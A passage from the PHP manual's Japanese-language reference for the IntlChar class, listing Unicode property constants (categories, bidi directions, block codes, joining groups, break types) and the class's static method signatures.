const int CHAR_CATEGORY_PRIVATE_USE_CHAR = 17 ;
const int CHAR_CATEGORY_SURROGATE = 18 ;
const int CHAR_CATEGORY_DASH_PUNCTUATION = 19 ;
const int CHAR_CATEGORY_START_PUNCTUATION = 20 ;
const int CHAR_CATEGORY_END_PUNCTUATION = 21 ;
const int CHAR_CATEGORY_CONNECTOR_PUNCTUATION = 22 ;
const int CHAR_CATEGORY_OTHER_PUNCTUATION = 23 ;
const int CHAR_CATEGORY_MATH_SYMBOL = 24 ;
const int CHAR_CATEGORY_CURRENCY_SYMBOL = 25 ;
const int CHAR_CATEGORY_MODIFIER_SYMBOL = 26 ;
const int CHAR_CATEGORY_OTHER_SYMBOL = 27 ;
const int CHAR_CATEGORY_INITIAL_PUNCTUATION = 28 ;
const int CHAR_CATEGORY_FINAL_PUNCTUATION = 29 ;
const int CHAR_CATEGORY_CHAR_CATEGORY_COUNT = 30 ;
const int CHAR_DIRECTION_LEFT_TO_RIGHT = 0 ;
const int CHAR_DIRECTION_RIGHT_TO_LEFT = 1 ;
const int CHAR_DIRECTION_EUROPEAN_NUMBER = 2 ;
const int CHAR_DIRECTION_EUROPEAN_NUMBER_SEPARATOR = 3 ;
const int CHAR_DIRECTION_EUROPEAN_NUMBER_TERMINATOR = 4 ;
const int CHAR_DIRECTION_ARABIC_NUMBER = 5 ;
const int CHAR_DIRECTION_COMMON_NUMBER_SEPARATOR = 6 ;
const int CHAR_DIRECTION_BLOCK_SEPARATOR = 7 ;
const int CHAR_DIRECTION_SEGMENT_SEPARATOR = 8 ;
const int CHAR_DIRECTION_WHITE_SPACE_NEUTRAL = 9 ;
const int CHAR_DIRECTION_OTHER_NEUTRAL = 10 ;
const int CHAR_DIRECTION_LEFT_TO_RIGHT_EMBEDDING = 11 ;
const int CHAR_DIRECTION_LEFT_TO_RIGHT_OVERRIDE = 12 ;
const int CHAR_DIRECTION_RIGHT_TO_LEFT_ARABIC = 13 ;
const int CHAR_DIRECTION_RIGHT_TO_LEFT_EMBEDDING = 14 ;
const int CHAR_DIRECTION_RIGHT_TO_LEFT_OVERRIDE = 15 ;
const int CHAR_DIRECTION_POP_DIRECTIONAL_FORMAT = 16 ;
const int CHAR_DIRECTION_DIR_NON_SPACING_MARK = 17 ;
const int CHAR_DIRECTION_BOUNDARY_NEUTRAL = 18 ;
const int CHAR_DIRECTION_FIRST_STRONG_ISOLATE = 19 ;
const int CHAR_DIRECTION_LEFT_TO_RIGHT_ISOLATE = 20 ;
const int CHAR_DIRECTION_RIGHT_TO_LEFT_ISOLATE = 21 ;
const int CHAR_DIRECTION_POP_DIRECTIONAL_ISOLATE = 22 ;
const int CHAR_DIRECTION_CHAR_DIRECTION_COUNT = 23 ;
const int BLOCK_CODE_NO_BLOCK = 0 ;
const int BLOCK_CODE_BASIC_LATIN = 1 ;
const int BLOCK_CODE_LATIN_1_SUPPLEMENT = 2 ;
const int BLOCK_CODE_LATIN_EXTENDED_A = 3 ;
const int BLOCK_CODE_LATIN_EXTENDED_B = 4 ;
const int BLOCK_CODE_IPA_EXTENSIONS = 5 ;
const int BLOCK_CODE_SPACING_MODIFIER_LETTERS = 6 ;
const int BLOCK_CODE_COMBINING_DIACRITICAL_MARKS = 7 ;
const int BLOCK_CODE_GREEK = 8 ;
const int BLOCK_CODE_CYRILLIC = 9 ;
const int BLOCK_CODE_ARMENIAN = 10 ;
const int BLOCK_CODE_HEBREW = 11 ;
const int BLOCK_CODE_ARABIC = 12 ;
const int BLOCK_CODE_SYRIAC = 13 ;
const int BLOCK_CODE_THAANA = 14 ;
const int BLOCK_CODE_DEVANAGARI = 15 ;
const int BLOCK_CODE_BENGALI = 16 ;
const int BLOCK_CODE_GURMUKHI = 17 ;
const int BLOCK_CODE_GUJARATI = 18 ;
const int BLOCK_CODE_ORIYA = 19 ;
const int BLOCK_CODE_TAMIL = 20 ;
const int BLOCK_CODE_TELUGU = 21 ;
const int BLOCK_CODE_KANNADA = 22 ;
const int BLOCK_CODE_MALAYALAM = 23 ;
const int BLOCK_CODE_SINHALA = 24 ;
const int BLOCK_CODE_THAI = 25 ;
const int BLOCK_CODE_LAO = 26 ;
const int BLOCK_CODE_TIBETAN = 27 ;
const int BLOCK_CODE_MYANMAR = 28 ;
const int BLOCK_CODE_GEORGIAN = 29 ;
const int BLOCK_CODE_HANGUL_JAMO = 30 ;
const int BLOCK_CODE_ETHIOPIC = 31 ;
const int BLOCK_CODE_CHEROKEE = 32 ;
const int BLOCK_CODE_UNIFIED_CANADIAN_ABORIGINAL_SYLLABICS = 33 ;
const int BLOCK_CODE_OGHAM = 34 ;
const int BLOCK_CODE_RUNIC = 35 ;
const int BLOCK_CODE_KHMER = 36 ;
const int BLOCK_CODE_MONGOLIAN = 37 ;
const int BLOCK_CODE_LATIN_EXTENDED_ADDITIONAL = 38 ;
const int BLOCK_CODE_GREEK_EXTENDED = 39 ;
const int BLOCK_CODE_GENERAL_PUNCTUATION = 40 ;
const int BLOCK_CODE_SUPERSCRIPTS_AND_SUBSCRIPTS = 41 ;
const int BLOCK_CODE_CURRENCY_SYMBOLS = 42 ;
const int BLOCK_CODE_COMBINING_MARKS_FOR_SYMBOLS = 43 ;
const int BLOCK_CODE_LETTERLIKE_SYMBOLS = 44 ;
const int BLOCK_CODE_NUMBER_FORMS = 45 ;
const int BLOCK_CODE_ARROWS = 46 ;
const int BLOCK_CODE_MATHEMATICAL_OPERATORS = 47 ;
const int BLOCK_CODE_MISCELLANEOUS_TECHNICAL = 48 ;
const int BLOCK_CODE_CONTROL_PICTURES = 49 ;
const int BLOCK_CODE_OPTICAL_CHARACTER_RECOGNITION = 50 ;
const int BLOCK_CODE_ENCLOSED_ALPHANUMERICS = 51 ;
const int BLOCK_CODE_BOX_DRAWING = 52 ;
const int BLOCK_CODE_BLOCK_ELEMENTS = 53 ;
const int BLOCK_CODE_GEOMETRIC_SHAPES = 54 ;
const int BLOCK_CODE_MISCELLANEOUS_SYMBOLS = 55 ;
const int BLOCK_CODE_DINGBATS = 56 ;
const int BLOCK_CODE_BRAILLE_PATTERNS = 57 ;
const int BLOCK_CODE_CJK_RADICALS_SUPPLEMENT = 58 ;
const int BLOCK_CODE_KANGXI_RADICALS = 59 ;
const int BLOCK_CODE_IDEOGRAPHIC_DESCRIPTION_CHARACTERS = 60 ;
const int BLOCK_CODE_CJK_SYMBOLS_AND_PUNCTUATION = 61 ;
const int BLOCK_CODE_HIRAGANA = 62 ;
const int BLOCK_CODE_KATAKANA = 63 ;
const int BLOCK_CODE_BOPOMOFO = 64 ;
const int BLOCK_CODE_HANGUL_COMPATIBILITY_JAMO = 65 ;
const int BLOCK_CODE_KANBUN = 66 ;
const int BLOCK_CODE_BOPOMOFO_EXTENDED = 67 ;
const int BLOCK_CODE_ENCLOSED_CJK_LETTERS_AND_MONTHS = 68 ;
const int BLOCK_CODE_CJK_COMPATIBILITY = 69 ;
const int BLOCK_CODE_CJK_UNIFIED_IDEOGRAPHS_EXTENSION_A = 70 ;
const int BLOCK_CODE_CJK_UNIFIED_IDEOGRAPHS = 71 ;
const int BLOCK_CODE_YI_SYLLABLES = 72 ;
const int BLOCK_CODE_YI_RADICALS = 73 ;
const int BLOCK_CODE_HANGUL_SYLLABLES = 74 ;
const int BLOCK_CODE_HIGH_SURROGATES = 75 ;
const int BLOCK_CODE_HIGH_PRIVATE_USE_SURROGATES = 76 ;
const int BLOCK_CODE_LOW_SURROGATES = 77 ;
const int BLOCK_CODE_PRIVATE_USE_AREA = 78 ;
const int BLOCK_CODE_PRIVATE_USE = 78 ;
const int BLOCK_CODE_CJK_COMPATIBILITY_IDEOGRAPHS = 79 ;
const int BLOCK_CODE_ALPHABETIC_PRESENTATION_FORMS = 80 ;
const int BLOCK_CODE_ARABIC_PRESENTATION_FORMS_A = 81 ;
const int BLOCK_CODE_COMBINING_HALF_MARKS = 82 ;
const int BLOCK_CODE_CJK_COMPATIBILITY_FORMS = 83 ;
const int BLOCK_CODE_SMALL_FORM_VARIANTS = 84 ;
const int BLOCK_CODE_ARABIC_PRESENTATION_FORMS_B = 85 ;
const int BLOCK_CODE_SPECIALS = 86 ;
const int BLOCK_CODE_HALFWIDTH_AND_FULLWIDTH_FORMS = 87 ;
const int BLOCK_CODE_OLD_ITALIC = 88 ;
const int BLOCK_CODE_GOTHIC = 89 ;
const int BLOCK_CODE_DESERET = 90 ;
const int BLOCK_CODE_BYZANTINE_MUSICAL_SYMBOLS = 91 ;
const int BLOCK_CODE_MUSICAL_SYMBOLS = 92 ;
const int BLOCK_CODE_MATHEMATICAL_ALPHANUMERIC_SYMBOLS = 93 ;
const int BLOCK_CODE_CJK_UNIFIED_IDEOGRAPHS_EXTENSION_B = 94 ;
const int BLOCK_CODE_CJK_COMPATIBILITY_IDEOGRAPHS_SUPPLEMENT = 95 ;
const int BLOCK_CODE_TAGS = 96 ;
const int BLOCK_CODE_CYRILLIC_SUPPLEMENT = 97 ;
const int BLOCK_CODE_CYRILLIC_SUPPLEMENTARY = 97 ;
const int BLOCK_CODE_TAGALOG = 98 ;
const int BLOCK_CODE_HANUNOO = 99 ;
const int BLOCK_CODE_BUHID = 100 ;
const int BLOCK_CODE_TAGBANWA = 101 ;
const int BLOCK_CODE_MISCELLANEOUS_MATHEMATICAL_SYMBOLS_A = 102 ;
const int BLOCK_CODE_SUPPLEMENTAL_ARROWS_A = 103 ;
const int BLOCK_CODE_SUPPLEMENTAL_ARROWS_B = 104 ;
const int BLOCK_CODE_MISCELLANEOUS_MATHEMATICAL_SYMBOLS_B = 105 ;
const int BLOCK_CODE_SUPPLEMENTAL_MATHEMATICAL_OPERATORS = 106 ;
const int BLOCK_CODE_KATAKANA_PHONETIC_EXTENSIONS = 107 ;
const int BLOCK_CODE_VARIATION_SELECTORS = 108 ;
const int BLOCK_CODE_SUPPLEMENTARY_PRIVATE_USE_AREA_A = 109 ;
const int BLOCK_CODE_SUPPLEMENTARY_PRIVATE_USE_AREA_B = 110 ;
const int BLOCK_CODE_LIMBU = 111 ;
const int BLOCK_CODE_TAI_LE = 112 ;
const int BLOCK_CODE_KHMER_SYMBOLS = 113 ;
const int BLOCK_CODE_PHONETIC_EXTENSIONS = 114 ;
const int BLOCK_CODE_MISCELLANEOUS_SYMBOLS_AND_ARROWS = 115 ;
const int BLOCK_CODE_YIJING_HEXAGRAM_SYMBOLS = 116 ;
const int BLOCK_CODE_LINEAR_B_SYLLABARY = 117 ;
const int BLOCK_CODE_LINEAR_B_IDEOGRAMS = 118 ;
const int BLOCK_CODE_AEGEAN_NUMBERS = 119 ;
const int BLOCK_CODE_UGARITIC = 120 ;
const int BLOCK_CODE_SHAVIAN = 121 ;
const int BLOCK_CODE_OSMANYA = 122 ;
const int BLOCK_CODE_CYPRIOT_SYLLABARY = 123 ;
const int BLOCK_CODE_TAI_XUAN_JING_SYMBOLS = 124 ;
const int BLOCK_CODE_VARIATION_SELECTORS_SUPPLEMENT = 125 ;
const int BLOCK_CODE_ANCIENT_GREEK_MUSICAL_NOTATION = 126 ;
const int BLOCK_CODE_ANCIENT_GREEK_NUMBERS = 127 ;
const int BLOCK_CODE_ARABIC_SUPPLEMENT = 128 ;
const int BLOCK_CODE_BUGINESE = 129 ;
const int BLOCK_CODE_CJK_STROKES = 130 ;
const int BLOCK_CODE_COMBINING_DIACRITICAL_MARKS_SUPPLEMENT = 131 ;
const int BLOCK_CODE_COPTIC = 132 ;
const int BLOCK_CODE_ETHIOPIC_EXTENDED = 133 ;
const int BLOCK_CODE_ETHIOPIC_SUPPLEMENT = 134 ;
const int BLOCK_CODE_GEORGIAN_SUPPLEMENT = 135 ;
const int BLOCK_CODE_GLAGOLITIC = 136 ;
const int BLOCK_CODE_KHAROSHTHI = 137 ;
const int BLOCK_CODE_MODIFIER_TONE_LETTERS = 138 ;
const int BLOCK_CODE_NEW_TAI_LUE = 139 ;
const int BLOCK_CODE_OLD_PERSIAN = 140 ;
const int BLOCK_CODE_PHONETIC_EXTENSIONS_SUPPLEMENT = 141 ;
const int BLOCK_CODE_SUPPLEMENTAL_PUNCTUATION = 142 ;
const int BLOCK_CODE_SYLOTI_NAGRI = 143 ;
const int BLOCK_CODE_TIFINAGH = 144 ;
const int BLOCK_CODE_VERTICAL_FORMS = 145 ;
const int BLOCK_CODE_NKO = 146 ;
const int BLOCK_CODE_BALINESE = 147 ;
const int BLOCK_CODE_LATIN_EXTENDED_C = 148 ;
const int BLOCK_CODE_LATIN_EXTENDED_D = 149 ;
const int BLOCK_CODE_PHAGS_PA = 150 ;
const int BLOCK_CODE_PHOENICIAN = 151 ;
const int BLOCK_CODE_CUNEIFORM = 152 ;
const int BLOCK_CODE_CUNEIFORM_NUMBERS_AND_PUNCTUATION = 153 ;
const int BLOCK_CODE_COUNTING_ROD_NUMERALS = 154 ;
const int BLOCK_CODE_SUNDANESE = 155 ;
const int BLOCK_CODE_LEPCHA = 156 ;
const int BLOCK_CODE_OL_CHIKI = 157 ;
const int BLOCK_CODE_CYRILLIC_EXTENDED_A = 158 ;
const int BLOCK_CODE_VAI = 159 ;
const int BLOCK_CODE_CYRILLIC_EXTENDED_B = 160 ;
const int BLOCK_CODE_SAURASHTRA = 161 ;
const int BLOCK_CODE_KAYAH_LI = 162 ;
const int BLOCK_CODE_REJANG = 163 ;
const int BLOCK_CODE_CHAM = 164 ;
const int BLOCK_CODE_ANCIENT_SYMBOLS = 165 ;
const int BLOCK_CODE_PHAISTOS_DISC = 166 ;
const int BLOCK_CODE_LYCIAN = 167 ;
const int BLOCK_CODE_CARIAN = 168 ;
const int BLOCK_CODE_LYDIAN = 169 ;
const int BLOCK_CODE_MAHJONG_TILES = 170 ;
const int BLOCK_CODE_DOMINO_TILES = 171 ;
const int BLOCK_CODE_SAMARITAN = 172 ;
const int BLOCK_CODE_UNIFIED_CANADIAN_ABORIGINAL_SYLLABICS_EXTENDED = 173 ;
const int BLOCK_CODE_TAI_THAM = 174 ;
const int BLOCK_CODE_VEDIC_EXTENSIONS = 175 ;
const int BLOCK_CODE_LISU = 176 ;
const int BLOCK_CODE_BAMUM = 177 ;
const int BLOCK_CODE_COMMON_INDIC_NUMBER_FORMS = 178 ;
const int BLOCK_CODE_DEVANAGARI_EXTENDED = 179 ;
const int BLOCK_CODE_HANGUL_JAMO_EXTENDED_A = 180 ;
const int BLOCK_CODE_JAVANESE = 181 ;
const int BLOCK_CODE_MYANMAR_EXTENDED_A = 182 ;
const int BLOCK_CODE_TAI_VIET = 183 ;
const int BLOCK_CODE_MEETEI_MAYEK = 184 ;
const int BLOCK_CODE_HANGUL_JAMO_EXTENDED_B = 185 ;
const int BLOCK_CODE_IMPERIAL_ARAMAIC = 186 ;
const int BLOCK_CODE_OLD_SOUTH_ARABIAN = 187 ;
const int BLOCK_CODE_AVESTAN = 188 ;
const int BLOCK_CODE_INSCRIPTIONAL_PARTHIAN = 189 ;
const int BLOCK_CODE_INSCRIPTIONAL_PAHLAVI = 190 ;
const int BLOCK_CODE_OLD_TURKIC = 191 ;
const int BLOCK_CODE_RUMI_NUMERAL_SYMBOLS = 192 ;
const int BLOCK_CODE_KAITHI = 193 ;
const int BLOCK_CODE_EGYPTIAN_HIEROGLYPHS = 194 ;
const int BLOCK_CODE_ENCLOSED_ALPHANUMERIC_SUPPLEMENT = 195 ;
const int BLOCK_CODE_ENCLOSED_IDEOGRAPHIC_SUPPLEMENT = 196 ;
const int BLOCK_CODE_CJK_UNIFIED_IDEOGRAPHS_EXTENSION_C = 197 ;
const int BLOCK_CODE_MANDAIC = 198 ;
const int BLOCK_CODE_BATAK = 199 ;
const int BLOCK_CODE_ETHIOPIC_EXTENDED_A = 200 ;
const int BLOCK_CODE_BRAHMI = 201 ;
const int BLOCK_CODE_BAMUM_SUPPLEMENT = 202 ;
const int BLOCK_CODE_KANA_SUPPLEMENT = 203 ;
const int BLOCK_CODE_PLAYING_CARDS = 204 ;
const int BLOCK_CODE_MISCELLANEOUS_SYMBOLS_AND_PICTOGRAPHS = 205 ;
const int BLOCK_CODE_EMOTICONS = 206 ;
const int BLOCK_CODE_TRANSPORT_AND_MAP_SYMBOLS = 207 ;
const int BLOCK_CODE_ALCHEMICAL_SYMBOLS = 208 ;
const int BLOCK_CODE_CJK_UNIFIED_IDEOGRAPHS_EXTENSION_D = 209 ;
const int BLOCK_CODE_ARABIC_EXTENDED_A = 210 ;
const int BLOCK_CODE_ARABIC_MATHEMATICAL_ALPHABETIC_SYMBOLS = 211 ;
const int BLOCK_CODE_CHAKMA = 212 ;
const int BLOCK_CODE_MEETEI_MAYEK_EXTENSIONS = 213 ;
const int BLOCK_CODE_MEROITIC_CURSIVE = 214 ;
const int BLOCK_CODE_MEROITIC_HIEROGLYPHS = 215 ;
const int BLOCK_CODE_MIAO = 216 ;
const int BLOCK_CODE_SHARADA = 217 ;
const int BLOCK_CODE_SORA_SOMPENG = 218 ;
const int BLOCK_CODE_SUNDANESE_SUPPLEMENT = 219 ;
const int BLOCK_CODE_TAKRI = 220 ;
const int BLOCK_CODE_COUNT = 221 ;
const int BLOCK_CODE_INVALID_CODE = -1 ;
const int BPT_NONE = 0 ;
const int BPT_OPEN = 1 ;
const int BPT_CLOSE = 2 ;
const int BPT_COUNT = 3 ;
const int EA_NEUTRAL = 0 ;
const int EA_AMBIGUOUS = 1 ;
const int EA_HALFWIDTH = 2 ;
const int EA_FULLWIDTH = 3 ;
const int EA_NARROW = 4 ;
const int EA_WIDE = 5 ;
const int EA_COUNT = 6 ;
const int UNICODE_CHAR_NAME = 0 ;
const int UNICODE_10_CHAR_NAME = 1 ;
const int EXTENDED_CHAR_NAME = 2 ;
const int CHAR_NAME_ALIAS = 3 ;
const int CHAR_NAME_CHOICE_COUNT = 4 ;
const int SHORT_PROPERTY_NAME = 0 ;
const int LONG_PROPERTY_NAME = 1 ;
const int PROPERTY_NAME_CHOICE_COUNT = 2 ;
const int DT_NONE = 0 ;
const int DT_CANONICAL = 1 ;
const int DT_COMPAT = 2 ;
const int DT_CIRCLE = 3 ;
const int DT_FINAL = 4 ;
const int DT_FONT = 5 ;
const int DT_FRACTION = 6 ;
const int DT_INITIAL = 7 ;
const int DT_ISOLATED = 8 ;
const int DT_MEDIAL = 9 ;
const int DT_NARROW = 10 ;
const int DT_NOBREAK = 11 ;
const int DT_SMALL = 12 ;
const int DT_SQUARE = 13 ;
const int DT_SUB = 14 ;
const int DT_SUPER = 15 ;
const int DT_VERTICAL = 16 ;
const int DT_WIDE = 17 ;
const int DT_COUNT = 18 ;
const int JT_NON_JOINING = 0 ;
const int JT_JOIN_CAUSING = 1 ;
const int JT_DUAL_JOINING = 2 ;
const int JT_LEFT_JOINING = 3 ;
const int JT_RIGHT_JOINING = 4 ;
const int JT_TRANSPARENT = 5 ;
const int JT_COUNT = 6 ;
const int JG_NO_JOINING_GROUP = 0 ;
const int JG_AIN = 1 ;
const int JG_ALAPH = 2 ;
const int JG_ALEF = 3 ;
const int JG_BEH = 4 ;
const int JG_BETH = 5 ;
const int JG_DAL = 6 ;
const int JG_DALATH_RISH = 7 ;
const int JG_E = 8 ;
const int JG_FEH = 9 ;
const int JG_FINAL_SEMKATH = 10 ;
const int JG_GAF = 11 ;
const int JG_GAMAL = 12 ;
const int JG_HAH = 13 ;
const int JG_TEH_MARBUTA_GOAL = 14 ;
const int JG_HAMZA_ON_HEH_GOAL = 14 ;
const int JG_HE = 15 ;
const int JG_HEH = 16 ;
const int JG_HEH_GOAL = 17 ;
const int JG_HETH = 18 ;
const int JG_KAF = 19 ;
const int JG_KAPH = 20 ;
const int JG_KNOTTED_HEH = 21 ;
const int JG_LAM = 22 ;
const int JG_LAMADH = 23 ;
const int JG_MEEM = 24 ;
const int JG_MIM = 25 ;
const int JG_NOON = 26 ;
const int JG_NUN = 27 ;
const int JG_PE = 28 ;
const int JG_QAF = 29 ;
const int JG_QAPH = 30 ;
const int JG_REH = 31 ;
const int JG_REVERSED_PE = 32 ;
const int JG_SAD = 33 ;
const int JG_SADHE = 34 ;
const int JG_SEEN = 35 ;
const int JG_SEMKATH = 36 ;
const int JG_SHIN = 37 ;
const int JG_SWASH_KAF = 38 ;
const int JG_SYRIAC_WAW = 39 ;
const int JG_TAH = 40 ;
const int JG_TAW = 41 ;
const int JG_TEH_MARBUTA = 42 ;
const int JG_TETH = 43 ;
const int JG_WAW = 44 ;
const int JG_YEH = 45 ;
const int JG_YEH_BARREE = 46 ;
const int JG_YEH_WITH_TAIL = 47 ;
const int JG_YUDH = 48 ;
const int JG_YUDH_HE = 49 ;
const int JG_ZAIN = 50 ;
const int JG_FE = 51 ;
const int JG_KHAPH = 52 ;
const int JG_ZHAIN = 53 ;
const int JG_BURUSHASKI_YEH_BARREE = 54 ;
const int JG_FARSI_YEH = 55 ;
const int JG_NYA = 56 ;
const int JG_ROHINGYA_YEH = 57 ;
const int JG_COUNT = 58 ;
const int GCB_OTHER = 0 ;
const int GCB_CONTROL = 1 ;
const int GCB_CR = 2 ;
const int GCB_EXTEND = 3 ;
const int GCB_L = 4 ;
const int GCB_LF = 5 ;
const int GCB_LV = 6 ;
const int GCB_LVT = 7 ;
const int GCB_T = 8 ;
const int GCB_V = 9 ;
const int GCB_SPACING_MARK = 10 ;
const int GCB_PREPEND = 11 ;
const int GCB_REGIONAL_INDICATOR = 12 ;
const int GCB_COUNT = 13 ;
const int WB_OTHER = 0 ;
const int WB_ALETTER = 1 ;
const int WB_FORMAT = 2 ;
const int WB_KATAKANA = 3 ;
const int WB_MIDLETTER = 4 ;
const int WB_MIDNUM = 5 ;
const int WB_NUMERIC = 6 ;
const int WB_EXTENDNUMLET = 7 ;
const int WB_CR = 8 ;
const int WB_EXTEND = 9 ;
const int WB_LF = 10 ;
const int WB_MIDNUMLET = 11 ;
const int WB_NEWLINE = 12 ;
const int WB_REGIONAL_INDICATOR = 13 ;
const int WB_HEBREW_LETTER = 14 ;
const int WB_SINGLE_QUOTE = 15 ;
const int WB_DOUBLE_QUOTE = 16 ;
const int WB_COUNT = 17 ;
const int SB_OTHER = 0 ;
const int SB_ATERM = 1 ;
const int SB_CLOSE = 2 ;
const int SB_FORMAT = 3 ;
const int SB_LOWER = 4 ;
const int SB_NUMERIC = 5 ;
const int SB_OLETTER = 6 ;
const int SB_SEP = 7 ;
const int SB_SP = 8 ;
const int SB_STERM = 9 ;
const int SB_UPPER = 10 ;
const int SB_CR = 11 ;
const int SB_EXTEND = 12 ;
const int SB_LF = 13 ;
const int SB_SCONTINUE = 14 ;
const int SB_COUNT = 15 ;
const int LB_UNKNOWN = 0 ;
const int LB_AMBIGUOUS = 1 ;
const int LB_ALPHABETIC = 2 ;
const int LB_BREAK_BOTH = 3 ;
const int LB_BREAK_AFTER = 4 ;
const int LB_BREAK_BEFORE = 5 ;
const int LB_MANDATORY_BREAK = 6 ;
const int LB_CONTINGENT_BREAK = 7 ;
const int LB_CLOSE_PUNCTUATION = 8 ;
const int LB_COMBINING_MARK = 9 ;
const int LB_CARRIAGE_RETURN = 10 ;
const int LB_EXCLAMATION = 11 ;
const int LB_GLUE = 12 ;
const int LB_HYPHEN = 13 ;
const int LB_IDEOGRAPHIC = 14 ;
const int LB_INSEPARABLE = 15 ;
const int LB_INSEPERABLE = 15 ;
const int LB_INFIX_NUMERIC = 16 ;
const int LB_LINE_FEED = 17 ;
const int LB_NONSTARTER = 18 ;
const int LB_NUMERIC = 19 ;
const int LB_OPEN_PUNCTUATION = 20 ;
const int LB_POSTFIX_NUMERIC = 21 ;
const int LB_PREFIX_NUMERIC = 22 ;
const int LB_QUOTATION = 23 ;
const int LB_COMPLEX_CONTEXT = 24 ;
const int LB_SURROGATE = 25 ;
const int LB_SPACE = 26 ;
const int LB_BREAK_SYMBOLS = 27 ;
const int LB_ZWSPACE = 28 ;
const int LB_NEXT_LINE = 29 ;
const int LB_WORD_JOINER = 30 ;
const int LB_H2 = 31 ;
const int LB_H3 = 32 ;
const int LB_JL = 33 ;
const int LB_JT = 34 ;
const int LB_JV = 35 ;
const int LB_CLOSE_PARENTHESIS = 36 ;
const int LB_CONDITIONAL_JAPANESE_STARTER = 37 ;
const int LB_HEBREW_LETTER = 38 ;
const int LB_REGIONAL_INDICATOR = 39 ;
const int LB_COUNT = 40 ;
const int NT_NONE = 0 ;
const int NT_DECIMAL = 1 ;
const int NT_DIGIT = 2 ;
const int NT_NUMERIC = 3 ;
const int NT_COUNT = 4 ;
const int HST_NOT_APPLICABLE = 0 ;
const int HST_LEADING_JAMO = 1 ;
const int HST_VOWEL_JAMO = 2 ;
const int HST_TRAILING_JAMO = 3 ;
const int HST_LV_SYLLABLE = 4 ;
const int HST_LVT_SYLLABLE = 5 ;
const int HST_COUNT = 6 ;
/* メソッド */
public static charAge ( mixed $codepoint ) : array
public static charDigitValue ( mixed $codepoint ) : int
public static charDirection ( mixed $codepoint ) : int
public static charFromName ( string $characterName , int $nameChoice = IntlChar::UNICODE_CHAR_NAME ) : int
public static charMirror ( mixed $codepoint ) : mixed
public static charName ( mixed $codepoint , int $nameChoice = IntlChar::UNICODE_CHAR_NAME ) : string
public static charType ( mixed $codepoint ) : int
public static chr ( mixed $codepoint ) : string
public static digit ( string $codepoint , int $radix = 10 ) : int
public static enumCharNames ( mixed $start , mixed $limit , callable $callback , int $nameChoice = IntlChar::UNICODE_CHAR_NAME ) : void
public static enumCharTypes ( callable $callback ) : void
public static foldCase ( mixed $codepoint , int $options = IntlChar::FOLD_CASE_DEFAULT ) : mixed
public static forDigit ( int $digit , int $radix = 10 ) : int
public static getBidiPairedBracket ( mixed $codepoint ) : mixed
public static getBlockCode ( mixed $codepoint ) : int
public static getCombiningClass ( mixed $codepoint ) : int
public static getFC_NFKC_Closure ( mixed $codepoint ) : string
public static getIntPropertyMaxValue ( int $property ) : int
public static getIntPropertyMinValue ( int $property ) : int
public static getIntPropertyValue ( mixed $codepoint , int $property ) : int
public static getNumericValue ( mixed $codepoint ) : float
public static getPropertyEnum ( string $alias ) : int
public static getPropertyName ( int $property , int $nameChoice = IntlChar::LONG_PROPERTY_NAME ) : string
public static getPropertyValueEnum ( int $property , string $name ) : int
public static getPropertyValueName ( int $property , int $value , int $nameChoice = IntlChar::LONG_PROPERTY_NAME ) : string
public static getUnicodeVersion ( ) : array
public static hasBinaryProperty ( mixed $codepoint , int $property ) : bool
public static isalnum ( mixed $codepoint ) : bool
public static isalpha ( mixed $codepoint ) : bool
public static isbase ( mixed $codepoint ) : bool
public static isblank ( mixed $codepoint ) : bool
public static iscntrl ( mixed $codepoint ) : bool
public static isdefined ( mixed $codepoint ) : bool
public static isdigit ( mixed $codepoint ) : bool
public static isgraph ( mixed $codepoint ) : bool
public static isIDIgnorable ( mixed $codepoint ) : bool
public static isIDPart ( mixed $codepoint ) : bool
public static isIDStart ( mixed $codepoint ) : bool
public static isISOControl ( mixed $codepoint ) : bool
public static isJavaIDPart ( mixed $codepoint ) : bool
public static isJavaIDStart ( mixed $codepoint ) : bool
public static isJavaSpaceChar ( mixed $codepoint ) : bool
public static islower ( mixed $codepoint ) : bool
public static isMirrored ( mixed $codepoint ) : bool
public static isprint ( mixed $codepoint ) : bool
public static ispunct ( mixed $codepoint ) : bool
public static isspace ( mixed $codepoint ) : bool
public static istitle ( mixed $codepoint ) : bool
public static isUAlphabetic ( mixed $codepoint ) : bool
public static isULowercase ( mixed $codepoint ) : bool
public static isupper ( mixed $codepoint ) : bool
public static isUUppercase ( mixed $codepoint ) : bool
public static isUWhiteSpace ( mixed $codepoint ) : bool
public static isWhitespace ( mixed $codepoint ) : bool
public static isxdigit ( mixed $codepoint ) : bool
public static ord ( mixed $character ) : int
public static tolower ( mixed $codepoint ) : mixed
public static totitle ( mixed $codepoint ) : mixed
public static toupper ( mixed $codepoint ) : mixed
}

定義済み定数

IntlChar::UNICODE_VERSION

IntlChar::CODEPOINT_MIN

IntlChar::CODEPOINT_MAX

IntlChar::NO_NUMERIC_VALUE

Special value that is returned by IntlChar::getNumericValue() when no numeric value is defined for a code point.

IntlChar::PROPERTY_ALPHABETIC

IntlChar::PROPERTY_BINARY_START

IntlChar::PROPERTY_ASCII_HEX_DIGIT

IntlChar::PROPERTY_BIDI_CONTROL

IntlChar::PROPERTY_BIDI_MIRRORED

IntlChar::PROPERTY_DASH

IntlChar::PROPERTY_DEFAULT_IGNORABLE_CODE_POINT

IntlChar::PROPERTY_DEPRECATED

IntlChar::PROPERTY_DIACRITIC

IntlChar::PROPERTY_EXTENDER

IntlChar::PROPERTY_FULL_COMPOSITION_EXCLUSION

IntlChar::PROPERTY_GRAPHEME_BASE

IntlChar::PROPERTY_GRAPHEME_EXTEND

IntlChar::PROPERTY_GRAPHEME_LINK

IntlChar::PROPERTY_HEX_DIGIT

IntlChar::PROPERTY_HYPHEN

IntlChar::PROPERTY_ID_CONTINUE

IntlChar::PROPERTY_ID_START

IntlChar::PROPERTY_IDEOGRAPHIC

IntlChar::PROPERTY_IDS_BINARY_OPERATOR

IntlChar::PROPERTY_IDS_TRINARY_OPERATOR

IntlChar::PROPERTY_JOIN_CONTROL

IntlChar::PROPERTY_LOGICAL_ORDER_EXCEPTION

IntlChar::PROPERTY_LOWERCASE

IntlChar::PROPERTY_MATH

IntlChar::PROPERTY_NONCHARACTER_CODE_POINT

IntlChar::PROPERTY_QUOTATION_MARK

IntlChar::PROPERTY_RADICAL

IntlChar::PROPERTY_SOFT_DOTTED

IntlChar::PROPERTY_TERMINAL_PUNCTUATION

IntlChar::PROPERTY_UNIFIED_IDEOGRAPH

IntlChar::PROPERTY_UPPERCASE

IntlChar::PROPERTY_WHITE_SPACE

IntlChar::PROPERTY_XID_CONTINUE

IntlChar::PROPERTY_XID_START

IntlChar::PROPERTY_CASE_SENSITIVE

